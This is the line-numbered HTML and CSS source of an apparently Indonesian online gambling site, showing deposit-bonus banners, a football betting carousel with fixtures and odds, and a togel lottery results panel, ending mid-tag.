<input type="hidden" name="iscaptchalogin" value="1"> 1756 <input type="hidden" name="logindesktop" value="nsDXWmr2W9ZAxkhBx31YxUi1jw69yiHJCsFYj9OPflU="> 1757 <input type="hidden" name="isrecaptchalogin" value="0"> 1758 </form> 1759 1760 </div> 1761 1762 1763 <!--<a href="/event">--> 1764 <!-- <img src="https://img.viva88athenae.com//btnevent.png" alt="EVENT" height="24px"/>--> 1765 <!--</a>--> 1766 </div> 1767 </div> 1768 </div> 1769 1770 1771 1772 <!--Informasi Modal --> 1773 <div id="modal-wrapper" class="modal" style=" background:none;"> 1774 1775 <div class="slideDown" id="informasi-menu"> 1776 <div class="row"> 1777 <div class="col-xs-3" style="padding-right:0px; width:164px"> 1778 <div id="informasi-logo"> 1779 <img src="/images/logoweb.png" width="120px"/> 1780 </div> 1781 <div class="menuleft"> 1782 1783 <a class="active btn-black" href="javascript:toggleInformasi('tentang');">TENTANG KAMI</a> 1784 <a class="btn-black" href="javascript:toggleInformasi('bantuan');">BANTUAN</a> 1785 <a class="btn-black" href="javascript:toggleInformasi('peraturan');">PERATURAN</a> 1786 <a class="btn-black" href="javascript:toggleInformasi('bank');">INFORMASI BANK</a> 1787 <a class="btn-black" href="javascript:toggleInformasi('hubungi');">HUBUNGI KAMI</a> 1788 <a class="btn-black" href="javascript:toggleInformasi('privasi');">KEBIJAKAN PRIVASI</a> 1789 <a class="btn-black" href="javascript:toggleInformasi('cookies');">PERSETUJUAN COOKIES</a> 1790 1791 </div> 1792 </div> 1793 <div class="col-xs-9" id="informasi-content" style="position: relative"> 1794 <div onclick="document.getElementById('modal-wrapper').style.display='none'" class="closebox" title="Close Informasi">×</div> 1795 <div style="margin: 32px 0; height:600px; overflow: auto; z-index:1;" id="content2"> 1796 </div> 1797 </div> 1798 1799 </div> 1800 </div> 1801 </div> 1802 1803 1804 1805 1806 <div class="contentdata"> 1807 <div id="content-primary" class="p-0"> 1808 1809 <div class="desktop-only"> 1810<div id="mobile-slider" class="carousel slide" data-bs-ride="carousel" style="height: 100%"> 1811 <div class="carousel-indicators"> 1812 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="0" class="active" aria-current="true" aria-label="Slide 1"></button> 1813 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="1" aria-label="Slide 2"></button> 1814 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="2" aria-label="Slide 3"></button> 1815 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="3" aria-label="Slide 4"></button> 1816 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="4" aria-label="Slide 5"></button> 1817 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="5" aria-label="Slide 6"></button> 1818 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="6" aria-label="Slide 7"></button> 1819 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="7" aria-label="Slide 8"></button> 1820 </div> 1821 <div class="carousel-inner" style="height: 100%"> 1822 <div class="carousel-item active" style="height: 100%"> 1823 <img src="/images/upload-Slides-20260804163716.jpg" class="d-block w-100 banner" alt="HUT Ri" style="height: 100%"> 1824 </div> 1825 <div class="carousel-item " style="height: 100%"> 1826 <img src="/images/upload-Slides-20260501131033.jpg" class="d-block w-100 banner" alt="Emas Antam" style="height: 100%"> 1827 </div> 1828 <div class="carousel-item " style="height: 100%"> 1829 <img src="/images/upload-Slides-20260331203300.jpg" class="d-block w-100 banner" alt="Minimal deposit cctvslot" style="height: 100%"> 1830 </div> 1831 <div class="carousel-item " style="height: 100%"> 1832 <img src="/images/upload-Slides-20260331170207.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1833 </div> 1834 <div class="carousel-item " style="height: 100%"> 1835 <img src="/images/upload-Slides-20260331185319.jpg" class="d-block w-100 banner" alt="Deposit via qris" style="height: 100%"> 1836 </div> 1837 <div class="carousel-item " style="height: 100%"> 1838 <img src="/images/upload-Slides-20260331210210.jpg" class="d-block w-100 banner" alt="Bonus 50%" style="height: 100%"> 1839 </div> 1840 <div class="carousel-item " style="height: 100%"> 1841 <img src="https://img.viva88athenae.com/banner/mgl-25.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1842 </div> 1843 <div class="carousel-item " style="height: 100%"> 1844 <img src="https://img.viva88athenae.com/banner/slider-fgs.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1845 </div> 1846 </div> 1847</div> 1848 1849</div> 1850 <div class="mobile-only"><div class="banner shadow" style="margin:20px 20px 20px 20px; border:solid 2px #FFF; border-radius: 20px; box-shadow:rgba(0,0,0,1) 0px 0px 10px 0px; position: relative;"> 1851 <a > 1852 <img src="/images/upload-SlidesMobile-20260331170128.jpg" alt="Welcome" style="border-radius: 20px; top: 0; left: 0; width: 100%; height: 100%; position: absolute;"/> 1853 </a> 1854</div> 1855<div class="banner shadow" style="margin:20px 20px 20px 20px; border:solid 2px #FFF; border-radius: 20px; box-shadow:rgba(0,0,0,1) 0px 0px 10px 0px; position: relative;"> 1856 <img src="https://img.viva88athenae.com/pop/mobile-fgs.jpg" width="100%" alt="" style="border-radius: 20px; top: 0; left: 0; width: 100%; height: 100%; position: absolute;"> 1857</div></div> 1858 1859 </div> 1860 </div> 1861 1862 1863 1864 <div class="widget-kupon"> 1865 <!-- <div style="position:relative; width:100%;"> --> 1866 <iframe class="iframe-kupon" src="https://fkupon.com/widget2.php"></iframe> 1867 <div onclick="scrollToLoginForm('kupon')" style="position:absolute; top:0; left:0; right:0; bottom:0; cursor:pointer; z-index:5;"></div> 1868 <!-- </div> --> 1869 </div> 1870 1871 <!-- BANNER SBO MOBILE --> 1872 <div class="widget-sbo mobile-only"> 1873 <div class="match-slider-wrap"> 1874 <div id="sboMatchCarouselMobile" class="carousel slide" data-bs-ride="carousel" data-bs-interval="4500"> 1875 1876 <div class="carousel-indicators"> 1877 <button 1878 type="button" 1879 data-bs-target="#sboMatchCarouselMobile" 1880 data-bs-slide-to="0" 1881 class="active" 1882 aria-current="true" aria-label="Slide 1"> 1883 </button> 1884 <button 1885 type="button" 1886 data-bs-target="#sboMatchCarouselMobile" 1887 data-bs-slide-to="1" 1888 class="" 1889 aria-label="Slide 2"> 1890 </button> 1891 <button 1892 type="button" 1893 data-bs-target="#sboMatchCarouselMobile" 1894 data-bs-slide-to="2" 1895 class="" 1896 aria-label="Slide 3"> 1897 </button> 1898 <button 1899 type="button" 1900 data-bs-target="#sboMatchCarouselMobile" 1901 data-bs-slide-to="3" 1902 class="" 1903 aria-label="Slide 4"> 1904 </button> 1905 <button 1906 type="button" 1907 data-bs-target="#sboMatchCarouselMobile" 1908 data-bs-slide-to="4" 1909 class="" 1910 aria-label="Slide 5"> 1911 </button> 1912 <button 1913 type="button" 1914 data-bs-target="#sboMatchCarouselMobile" 1915 data-bs-slide-to="5" 1916 class="" 1917 aria-label="Slide 6"> 1918 </button> 1919 <button 1920 type="button" 1921 data-bs-target="#sboMatchCarouselMobile" 1922 data-bs-slide-to="6" 1923 class="" 1924 aria-label="Slide 7"> 1925 </button> 1926 <button 1927 type="button" 1928 data-bs-target="#sboMatchCarouselMobile" 1929 data-bs-slide-to="7" 1930 class="" 1931 aria-label="Slide 8"> 1932 </button> 1933 <button 1934 type="button" 1935 data-bs-target="#sboMatchCarouselMobile" 1936 data-bs-slide-to="8" 1937 class="" 1938 aria-label="Slide 9"> 1939 </button> 1940 <button 1941 type="button" 1942 data-bs-target="#sboMatchCarouselMobile" 1943 data-bs-slide-to="9" 1944 class="" 1945 aria-label="Slide 10"> 1946 </button> 1947 </div> 1948 1949 <div class="carousel-inner"> 1950 <div class="carousel-item active"> 1951 <div class="row g-3"> 1952 <div class="col-12"> 1953 <div class="match-card h-100"> 1954 <div class="league-name"> 1955 ENGLISH PREMIER LEAGUE </div> 1956 1957 <div class="kickoff-time"> 1958 October 10, 2026 â 18:30 WIB </div> 1959 1960 <div class="match-main-row"> 1961 <div class="team-col"> 1962 <img 1963 src="https://cdn.sportnan
1963oapi.com/football/team/d6f5debc456da1119256ab66462ab510.png" 1964 alt="Arsenal" 1965 class="team-logo" 1966 > 1967 <div class="team-name"> 1968 Arsenal </div> 1969 </div> 1970 1971 <div class="score-col"> 1972 <div class="score-value"> 1973 0 : 0 </div> 1974 1975 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100346')"> 1976 BET NOW 1977 </a> 1978 </div> 1979 1980 <div class="team-col"> 1981 <img 1982 src="https://cdn.sportnanoapi.com/football/team/cd46d2ed1d364308dc206c97b48ce556.png" 1983 alt="Leeds United" 1984 class="team-logo" 1985 > 1986 <div class="team-name"> 1987 Leeds United </div> 1988 </div> 1989 </div> 1990 1991 <div class="match-odds-row"> 1992 <div class="odds-col"> 1993 <span> 1994 0.75 <small>0.50</small> 1995 </span> 1996 </div> 1997 1998 <div class="odds-spacer"></div> 1999 2000 <div class="odds-col"> 2001 <span> 2002 -0.75 <small>-0.60</small> 2003 </span> 2004 </div> 2005 </div> 2006 </div> 2007 </div> 2008 </div> 2009 </div> 2010 <div class="carousel-item "> 2011 <div class="row g-3"> 2012 <div class="col-12"> 2013 <div class="match-card h-100"> 2014 <div class="league-name"> 2015 ENGLISH PREMIER LEAGUE </div> 2016 2017 <div class="kickoff-time"> 2018 October 10, 2026 â 21:00 WIB </div> 2019 2020 <div class="match-main-row"> 2021 <div class="team-col"> 2022 <img 2023 src="https://cdn.sportnanoapi.com/football/team/a0cf8f551e9440acb3f4ff533dcc58a4.png" 2024 alt="Chelsea" 2025 class="team-logo" 2026 > 2027 <div class="team-name"> 2028 Chelsea </div> 2029 </div> 2030 2031 <div class="score-col"> 2032 <div class="score-value"> 2033 0 : 0 </div> 2034 2035 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100428')"> 2036 BET NOW 2037 </a> 2038 </div> 2039 2040 <div class="team-col"> 2041 <img 2042 src="https://cdn.sportnanoapi.com/football/team/240b30d333c97d293752ab7afd77ccd6.png" 2043 alt="Bournemouth AFC" 2044 class="team-logo" 2045 > 2046 <div class="team-name"> 2047 Bournemouth AFC </div> 2048 </div> 2049 </div> 2050 2051 <div class="match-odds-row"> 2052 <div class="odds-col">
2053 <span> 2054 0.5 <small>0.66</small> 2055 </span> 2056 </div> 2057 2058 <div class="odds-spacer"></div> 2059 2060 <div class="odds-col"> 2061 <span> 2062 -0.5 <small>-0.76</small> 2063 </span> 2064 </div> 2065 </div> 2066 </div> 2067 </div> 2068 </div> 2069 </div> 2070 <div class="carousel-item "> 2071 <div class="row g-3"> 2072 <div class="col-12"> 2073 <div class="match-card h-100"> 2074 <div class="league-name"> 2075 SPAIN LA LIGA </div> 2076 2077 <div class="kickoff-time"> 2078 October 10, 2026 â 23:30 WIB </div> 2079 2080 <div class="match-main-row"> 2081 <div class="team-col"> 2082 <img 2083 src="https://cdn.sportnanoapi.com/football/team/f378eb1ea04e53999b89051aa3244de6.png" 2084 alt="Barcelona" 2085 class="team-logo" 2086 > 2087 <div class="team-name"> 2088 Barcelona </div> 2089 </div> 2090 2091 <div class="score-col"> 2092 <div class="score-value"> 2093 0 : 0 </div> 2094 2095 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215606')"> 2096 BET NOW 2097 </a> 2098 </div> 2099 2100 <div class="team-col"> 2101 <img 2102 src="https://cdn.sportnanoapi.com/football/team/36bf5bf0c8fdf08c1270124808f060e1.png" 2103 alt="Getafe" 2104 class="team-logo" 2105 > 2106 <div class="team-name"> 2107 Getafe </div> 2108 </div> 2109 </div> 2110 2111 <div class="match-odds-row"> 2112 <div class="odds-col">
2113 <span> 2114 2.5 <small>0.80</small> 2115 </span> 2116 </div> 2117 2118 <div class="odds-spacer"></div> 2119 2120 <div class="odds-col"> 2121 <span> 2122 -2.5 <small>-0.90</small> 2123 </span> 2124 </div> 2125 </div> 2126 </div> 2127 </div> 2128 </div> 2129 </div> 2130 <div class="carousel-item "> 2131 <div class="row g-3"> 2132 <div class="col-12"> 2133 <div class="match-card h-100"> 2134 <div class="league-name"> 2135 ENGLISH PREMIER LEAGUE </div> 2136 2137 <div class="kickoff-time"> 2138 October 10, 2026 â 21:00 WIB </div> 2139 2140 <div class="match-main-row"> 2141 <div class="team-col"> 2142 <img 2143 src="https://cdn.sportnanoapi.com/football/team/a3c32d6a906083118cac2cb796edaab3.png" 2144 alt="Aston Villa" 2145 class="team-logo" 2146 > 2147 <div class="team-name"> 2148 Aston Villa </div> 2149 </div> 2150 2151 <div class="score-col"> 2152 <div class="score-value"> 2153 0 : 0 </div> 2154 2155 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100395')"> 2156 BET NOW 2157 </a> 2158 </div> 2159 2160 <div class="team-col"> 2161 <img 2162 src="https://cdn.sportnanoapi.com/football/team/60f1c7788be3148a370dbf59f914abfe.png" 2163 alt="Brentford" 2164 class="team-logo" 2165 > 2166 <div class="team-name"> 2167 Brentford </div> 2168 </div> 2169 </div> 2170 2171 <div class="match-odds-row"> 2172 <div class="odds-col">
2173 <span> 2174 0.00 <small>-0.97</small> 2175 </span> 2176 </div> 2177 2178 <div class="odds-spacer"></div> 2179 2180 <div class="odds-col"> 2181 <span> 2182 0.00 <small>0.87</small> 2183 </span> 2184 </div> 2185 </div> 2186 </div> 2187 </div> 2188 </div> 2189 </div> 2190 <div class="carousel-item "> 2191 <div class="row g-3"> 2192 <div class="col-12"> 2193 <div class="match-card h-100"> 2194 <div class="league-name"> 2195 ENGLISH PREMIER LEAGUE </div> 2196 2197 <div class="kickoff-time"> 2198 October 10, 2026 â 21:00 WIB </div> 2199 2200 <div class="match-main-row"> 2201 <div class="team-col"> 2202 <img 2203 src="https://cdn.sportnanoapi.com/football/team/957bdc50c307e2a9b526b34b3792da1a.png" 2204 alt="Sunderland" 2205 class="team-logo" 2206 > 2207 <div class="team-name"> 2208 Sunderland </div> 2209 </div> 2210 2211 <div class="score-col"> 2212 <div class="score-value"> 2213 0 : 0 </div> 2214 2215 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100525')"> 2216 BET NOW 2217 </a> 2218 </div> 2219 2220 <div class="team-col"> 2221 <img 2222 src="https://cdn.sportnanoapi.com/football/team/9b43a690d5a09f1e319f036821e8e1d3.png" 2223 alt="Brighton & Hove Albion" 2224 class="team-logo" 2225 > 2226 <div class="team-name"> 2227 Brighton & Hove Albion </div> 2228 </div> 2229 </div> 2230 2231 <div class="match-odds-row"> 2232 <div class="odds-col">
2233 <span> 2234 0.00 <small>-0.82</small> 2235 </span> 2236 </div> 2237 2238 <div class="odds-spacer"></div> 2239 2240 <div class="odds-col"> 2241 <span> 2242 0.00 <small>0.72</small> 2243 </span> 2244 </div> 2245 </div> 2246 </div> 2247 </div> 2248 </div> 2249 </div> 2250 <div class="carousel-item "> 2251 <div class="row g-3"> 2252 <div class="col-12"> 2253 <div class="match-card h-100"> 2254 <div class="league-name"> 2255 ENGLISH PREMIER LEAGUE </div> 2256 2257 <div class="kickoff-time"> 2258 October 10, 2026 â 23:30 WIB </div> 2259 2260 <div class="match-main-row"> 2261 <div class="team-col"> 2262 <img 2263 src="https://cdn.sportnanoapi.com/football/team/d39ce586fd7278342dde33b3090b3f75.png" 2264 alt="Manchester United" 2265 class="team-logo" 2266 > 2267 <div class="team-name"> 2268 Manchester United </div> 2269 </div> 2270 2271 <div class="score-col"> 2272 <div class="score-value"> 2273 0 : 0 </div> 2274 2275 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100582')"> 2276 BET NOW 2277 </a> 2278 </div> 2279 2280 <div class="team-col"> 2281 <img 2282 src="https://cdn.sportnanoapi.com/football/team/8b22ab4041e666b996a2d96f20dea707.png" 2283 alt="Tottenham Hotspur" 2284 class="team-logo" 2285 > 2286 <div class="team-name"> 2287 Tottenham Hotspur </div> 2288 </div> 2289 </div> 2290 2291 <div class="match-odds-row"> 2292 <div class="odds-col">
2293 <span> 2294 0.5 <small>0.72</small> 2295 </span> 2296 </div> 2297 2298 <div class="odds-spacer"></div> 2299 2300 <div class="odds-col"> 2301 <span> 2302 -0.5 <small>-0.82</small> 2303 </span> 2304 </div> 2305 </div> 2306 </div> 2307 </div> 2308 </div> 2309 </div> 2310 <div class="carousel-item "> 2311 <div class="row g-3"> 2312 <div class="col-12"> 2313 <div class="match-card h-100"> 2314 <div class="league-name"> 2315 SPAIN LA LIGA </div> 2316 2317 <div class="kickoff-time"> 2318 October 11, 2026 â 02:00 WIB </div> 2319 2320 <div class="match-main-row"> 2321 <div class="team-col"> 2322 <img 2323 src="https://cdn.sportnanoapi.com/football/team/7dacaa934fe4be00f23c1e209b5ef947.png" 2324 alt="Real Madrid" 2325 class="team-logo" 2326 > 2327 <div class="team-name"> 2328 Real Madrid </div> 2329 </div> 2330 2331 <div class="score-col"> 2332 <div class="score-value"> 2333 0 : 0 </div> 2334 2335 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215615')"> 2336 BET NOW 2337 </a> 2338 </div> 2339 2340 <div class="team-col"> 2341 <img 2342 src="https://cdn.sportnanoapi.com/football/team/aee62af96a956756cc29fe4831286357.png" 2343 alt="Villarreal" 2344 class="team-logo" 2345 > 2346 <div class="team-name"> 2347 Villarreal </div> 2348 </div> 2349 </div> 2350 2351 <div class="match-odds-row"> 2352 <div class="odds-col">
2353 <span> 2354 1 <small>0.55</small> 2355 </span> 2356 </div> 2357 2358 <div class="odds-spacer"></div> 2359 2360 <div class="odds-col"> 2361 <span> 2362 -1 <small>-0.65</small> 2363 </span> 2364 </div> 2365 </div> 2366 </div> 2367 </div> 2368 </div> 2369 </div> 2370 <div class="carousel-item "> 2371 <div class="row g-3"> 2372 <div class="col-12"> 2373 <div class="match-card h-100"> 2374 <div class="league-name"> 2375 ITALY SERIE A </div> 2376 2377 <div class="kickoff-time"> 2378 October 10, 2026 â 22:59 WIB </div> 2379 2380 <div class="match-main-row"> 2381 <div class="team-col"> 2382 <img 2383 src="https://cdn.sportnanoapi.com/football/team/aa2245702c40f77799a5ad4b119581a8.png" 2384 alt="Inter Milan" 2385 class="team-logo" 2386 > 2387 <div class="team-name"> 2388 Inter Milan </div> 2389 </div> 2390 2391 <div class="score-col"> 2392 <div class="score-value"> 2393 0 : 0 </div> 2394 2395 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145618118')"> 2396 BET NOW 2397 </a> 2398 </div> 2399 2400 <div class="team-col"> 2401 <img 2402 src="https://cdn.sportnanoapi.com/football/team/9fadd87d190982c8082dddf1567e0b9b.png" 2403 alt="Parma Calcio" 2404 class="team-logo" 2405 > 2406 <div class="team-name"> 2407 Parma Calcio </div> 2408 </div> 2409 </div> 2410 2411 <div class="match-odds-row"> 2412 <div class="odds-col">
2413 <span> 2414 2 <small>0.65</small> 2415 </span> 2416 </div> 2417 2418 <div class="odds-spacer"></div> 2419 2420 <div class="odds-col"> 2421 <span> 2422 -2 <small>-0.75</small> 2423 </span> 2424 </div> 2425 </div> 2426 </div> 2427 </div> 2428 </div> 2429 </div> 2430 <div class="carousel-item "> 2431 <div class="row g-3"> 2432 <div class="col-12"> 2433 <div class="match-card h-100"> 2434 <div class="league-name"> 2435 SPAIN LA LIGA </div> 2436 2437 <div class="kickoff-time"> 2438 October 10, 2026 â 19:00 WIB </div> 2439 2440 <div class="match-main-row"> 2441 <div class="team-col"> 2442 <img 2443 src="https://cdn.sportnanoapi.com/football/team/5005d8feab109ce64e40beb98073cc1f.png" 2444 alt="Rayo Vallecano" 2445 class="team-logo" 2446 > 2447 <div class="team-name"> 2448 Rayo Vallecano </div> 2449 </div> 2450 2451 <div class="score-col"> 2452 <div class="score-value"> 2453 0 : 0 </div> 2454 2455 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215614')"> 2456 BET NOW 2457 </a> 2458 </div> 2459 2460 <div class="team-col"> 2461 <img 2462 src="https://cdn.sportnanoapi.com/football/team/abbb31d42c55612737713aac6567a226.png" 2463 alt="Athletic Bilbao" 2464 class="team-logo" 2465 > 2466 <div class="team-name"> 2467 Athletic Bilbao </div> 2468 </div> 2469 </div> 2470 2471 <div class="match-odds-row"> 2472 <div class="odds-col">
2473 <span> 2474 0.00 <small>0.98</small> 2475 </span> 2476 </div> 2477 2478 <div class="odds-spacer"></div> 2479 2480 <div class="odds-col"> 2481 <span> 2482 0.00 <small>0.92</small> 2483 </span> 2484 </div> 2485 </div> 2486 </div> 2487 </div> 2488 </div> 2489 </div> 2490 <div class="carousel-item "> 2491 <div class="row g-3"> 2492 <div class="col-12"> 2493 <div class="match-card h-100"> 2494 <div class="league-name"> 2495 ENGLISH PREMIER LEAGUE </div> 2496 2497 <div class="kickoff-time"> 2498 October 11, 2026 â 22:30 WIB </div> 2499 2500 <div class="match-main-row"> 2501 <div class="team-col"> 2502 <img 2503 src="https://cdn.sportnanoapi.com/football/team/1cb3d08adac0e2dc1c4f10429d055bfe.png" 2504 alt="Liverpool" 2505 class="team-logo" 2506 > 2507 <div class="team-name"> 2508 Liverpool </div> 2509 </div> 2510 2511 <div class="score-col"> 2512 <div class="score-value"> 2513 0 : 0 </div> 2514 2515 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100751')"> 2516 BET NOW 2517 </a> 2518 </div> 2519 2520 <div class="team-col"> 2521 <img 2522 src="https://cdn.sportnanoapi.com/football/team/c4a6528a2ee147b99c9885ef24385a4e.png" 2523 alt="Manchester City" 2524 class="team-logo" 2525 > 2526 <div class="team-name"> 2527 Manchester City </div> 2528 </div> 2529 </div> 2530 2531 <div class="match-odds-row"> 2532 <div class="odds-col">
2533 <span> 2534 0.00 <small>-0.83</small> 2535 </span> 2536 </div> 2537 2538 <div class="odds-spacer"></div> 2539 2540 <div class="odds-col"> 2541 <span> 2542 0.00 <small>0.73</small> 2543 </span> 2544 </div> 2545 </div> 2546 </div> 2547 </div> 2548 </div> 2549 </div> 2550 </div> 2551 2552 <button class="carousel-control-prev" type="button" data-bs-target="#sboMatchCarouselMobile" data-bs-slide="prev"> 2553 <span class="carousel-control-prev-icon" aria-hidden="true"></span> 2554 <span class="visually-hidden">Previous</span> 2555 </button> 2556 2557 <button class="carousel-control-next" type="button" data-bs-target="#sboMatchCarouselMobile" data-bs-slide="next"> 2558 <span class="carousel-control-next-icon" aria-hidden="true"></span> 2559 <span class="visually-hidden">Next</span> 2560 </button> 2561 </div> 2562 </div> 2563 </div> 2564 <!-- BANNER SBO MOBILE END --> 2565 2566 2567 <!-- Togel --> 2568 2569 <style> 2570 .togel-desktop { 2571 /*background: var(--togel-background);*/ 2572 background: var(--footer-background); 2573 grid-area: togel-desktop; 2574 position: relative; 2575 } 2576 2577 .togel-mobile { 2578 display: none; 2579 } 2580 2581 .show-more { 2582 position: absolute; 2583 2584 z-index: 999; 2585 bottom: 0px; 2586 width: 100%; 2587 2588 /* background: linear-gradient(0deg, rgba(0,0,0,1) 0%, rgba(0,0,0,0.8) 30%, rgba(0,0,0,0) 60%, rgba(0,0,0,0)); */ 2589 } 2590 2591 .show-more-content { 2592 background: var(--secondary-background); 2593 opacity: .7; 2594 display: grid; 2595 place-items: center; 2596 height: 32px 2597 } 2598 2599 .togel-content { 2600 position: relative; 2601 display: flex; 2602 flex-wrap: wrap; 2603 justify-content: center; 2604 /*display: grid;*/ 2605 /*grid-template-columns: repeat(10, 1fr);*/ 2606 gap: 8px 4px; 2607 padding: 16px 0; 2608 } 2609 2610 .see-more { 2611 padding: 16px 0 48px 0; 2612 max-height: 162px; 2613 transition: max-height .75s ease-out; 2614 transition-delay: .1s; 2615 overflow: hidden; 2616 } 2617 2618 .togel-content:hover{ 2619 max-height: 1000px; 2620 transition: max-height 0.25s ease-in; 2621 } 2622 2623 .result { 2624 height: 110px; 2625 width: 96px; 2626 border-radius: 10px; 2627 background: var(--result-background); 2628 border: var(--result-border); 2629 2630 display: grid; 2631 grid-template-rows: 0px 20px 1fr 28px; 2632 grid-template-areas: 2633 "badge" 2634 "pasaran" 2635 "keluaran" 2636 "tanggal" 2637 ; 2638 2639 /* display: flex; 2640 flex-direction: column; 2641 justify-content: space-between; */ 2642 2643 overflow: hidden; 2644 } 2645 2646 .badge { 2647 grid-area: badge; 2648 display: grid; 2649 place-items: center; 2650 } 2651 2652 .result>.pasaran { 2653 2654 grid-area: pasaran; 2655 2656 padding-top: 8px; 2657 white-space: nowrap; 2658 font-size: .7rem; 2659 line-height: .7rem; 2660 2661 color: var(--result-pasaran-color); 2662 display: grid; 2663 place-items: center; 2664 } 2665 2666 .result>.keluaran { 2667 2668 grid-area: keluaran; 2669 padding-bottom: 8px; 2670 font-family: 'Oswald', sans-serif; 2671 line-height: 40px; 2672 font-size: 40px; 2673 color: var(--result-keluaran-color); 2674 display: grid; 2675 place-items: center; 2676 } 2677 2678 .result>.tanggal { 2679 2680 grid-area: tanggal; 2681 2682 width: 100%; 2683 height: 100%; 2684 /* background: rgb(40,0,0); 2685 background: linear-gradient(0deg, rgba(80,0,0,1) 0%, rgb(164, 2, 2) 100%); */ 2686 background: var(--result-tanggal-background); 2687 white-space: nowarp; 2688 font-size: .79rem; 2689 display: grid; 2690 place-items: center; 2691 font-family: 'Abel', sans-serif; 2692 color: var(--result-tanggal-color); 2693 } 2694 2695 @media only screen and (max-width: 1000px) { 2696 2697 .togel-desktop { 2698 display: none; 2699 } 2700 2701 .togel-mobile { 2702 2703 background: var(--secondary-background); 2704 grid-area: togel-mobile; 2705 padding: 24px; 2706 padding-bottom: 12px; 2707 box-shadow: rgba(0,0,0,1) 0px 0px 10px 0px; 2708 } 2709 2710 .togel-title { 2711 padding: 0px; 2712 padding-bottom: 20px; 2713 font-size: 1.4rem; 2714 font-weight: bold; 2715 color: var(--primary-text-color); 2716 } 2717 2718 .togel-content { 2719 max-height: fit-content; 2720 display: grid; 2721 grid-template-columns: 1fr; 2722 gap: 0; 2723 border-radius: 8px; 2724 } 2725 2726 2727 2728 .provider-group { 2729 padding: var(--mobile-padding-horizontal); 2730 } 2731 2732 .badge { 2733 display: none; 2734 } 2735 2736 .result { 2737 height: auto; 2738 width: 100%; 2739 display: grid; 2740 grid-template-rows: 1fr; 2741 grid-template-columns: 1fr 1fr 80px; 2742 grid-template-areas: "pasaran tanggal keluaran"; 2743 border-radius: 0; 2744 border: none; 2745 background: transparent; 2746 padding: 4px 12px; 2747 color: var(--primary-text-color); 2748 font-family: 'Abel', sans-serif; 2749 2750 } 2751 2752 2753 .result-data:nth-child(odd) { 2754 background: linear-gradient(0deg, rgba(255,255,255,0.3) 0%, rgba(255,255,255,0.3) 100%), var(--secondary-background); 2755 } 2756 2757 2758 .accordion-item { 2759 background-color: transparent; 2760 border: 0px; 2761 } 2762 2763 .accordion-button:not(.collapsed) { 2764 color: inherit; 2765 background-color: transparent; 2766 box-shadow: none; 2767 } 2768 2769 .accordion-button::after { 2770 height: 0px; 2771 } 2772 2773 .result>* { 2774 padding: 0px!important; 2775 margin: 0px!important; 2776 font-size: 1.4rem!important; 2777 line-height: auto!important; 2778 font-weight: normal!important; 2779 } 2780 2781 .result>.pasaran { 2782 display: flex; 2783 justify-content: start; 2784 color: var(--primary-text-color)!important; 2785 opacity: .7; 2786 } 2787 2788 .result>.tanggal { 2789 display: flex; 2790 justify-content: center; 2791 background: transparent; 2792 color: var(--primary-text-color)!important; 2793 opacity: .7; 2794 } 2795 2796 .result>.keluaran { 2797 display: flex; 2798 justify-content: end; 2799 /*color: var(--primary-text-color)!important;*/ 2800 font-family: 'Abel', sans-serif; 2801 color: var(--highlight-text-color); 2802 } 2803 2804 } 2805 </style> 2806 2807 2808 2809 <div id="togel-desktop" class="togel-desktop desktop-only"> 2810 2811 2812 2813 2814 <div class="togel-content "> 2815 <!-- <a href="/?content=hasil&pid=TWH" class="result"> --> 2816 <a href="/hasil/TWH" class="result"> 2817 2818 <div class="badge"> 2819 </div> 2820 2821 <div class="pasaran">
2821TOTO WUHAN </div> 2822 <div class="keluaran">6536</div> 2823 <div class="tanggal"> 10/10/2026</div> 2824 </a> 2825 <!-- <a href="/?content=hasil&pid=HKD" class="result"> --> 2826 <a href="/hasil/HKD" class="result"> 2827 2828 <div class="badge"> 2829 </div> 2830 2831 <div class="pasaran">HK SIANG </div> 2832 <div class="keluaran">3738</div> 2833 <div class="tanggal"> 9/10/2026</div> 2834 </a> 2835 <!-- <a href="/?content=hasil&pid=SGM" class="result"> --> 2836 <a href="/hasil/SGM" class="result"> 2837 2838 <div class="badge"> 2839 </div> 2840 2841 <div class="pasaran">SG METRO </div> 2842 <div class="keluaran">2724</div> 2843 <div class="tanggal"> 9/10/2026</div> 2844 </a> 2845 <!-- <a href="/?content=hasil&pid=SYD" class="result"> --> 2846 <a href="/hasil/SYD" class="result"> 2847 2848 <div class="badge"> 2849 </div> 2850 2851 <div class="pasaran">SYDNEY </div> 2852 <div class="keluaran">6783</div> 2853 <div class="tanggal"> 9/10/2026</div> 2854 </a> 2855 <!-- <a href="/?content=hasil&pid=MYD" class="result"> --> 2856 <a href="/hasil/MYD" class="result"> 2857 2858 <div class="badge"> 2859 </div> 2860 2861 <div class="pasaran">MALAYSIA SIANG </div> 2862 <div class="keluaran">3162</div> 2863 <div class="tanggal"> 9/10/2026</div> 2864 </a> 2865 <!-- <a href="/?content=hasil&pid=SG" class="result"> --> 2866 <a href="/hasil/SG" class="result"> 2867 2868 <div class="badge"> 2869 </div> 2870 2871 <div class="pasaran">SINGAPORE </div> 2872 <div class="keluaran">2855</div> 2873 <div class="tanggal"> 8/10/2026</div> 2874 </a> 2875 <!-- <a href="/?content=hasil&pid=MY" 